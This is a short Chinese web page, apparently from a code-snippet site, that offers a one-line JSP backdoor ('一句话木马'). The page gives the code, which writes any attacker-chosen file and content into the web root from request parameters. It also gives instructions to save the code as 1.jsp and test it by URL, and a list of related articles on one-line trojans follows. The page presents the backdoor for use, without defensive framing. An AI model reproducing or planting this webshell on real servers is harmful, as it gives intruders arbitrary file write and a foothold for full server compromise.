复制代码 代码如下:
%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
这个 后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
http://localhost/1.jsp?f=1.txtt=hello
然后:http://localhost/1.txt 就出来了 内容为 hello .....
您可能感兴趣的文章:- 一句话木马入侵EASYNEWS新闻管理系统
- asp.net jscript 一句话木马
- asp一句话木马原理分析
- asp,php一句话木马整理方便查找木马
- 一句话木马的原理及利用分析(asp,aspx,php,jsp)
- asp实现读取数据库输出json代码
- 浅谈ASP数据库下载漏洞
- ASP.NET列出数据库活跃链接的方法
- MySQL结合使用数据库分析工具SchemaSpy的方法
- ASP通过ODBC连接SQL Server 2008数据库的方法
- asp.net上传文件到数据库的解决方案
- ASP语言实现对SQL SERVER数据库的操作
- asp控制xml数据库的经典代码
- ASP网站中数据库被挂木马的解决方案
咨 询 客 服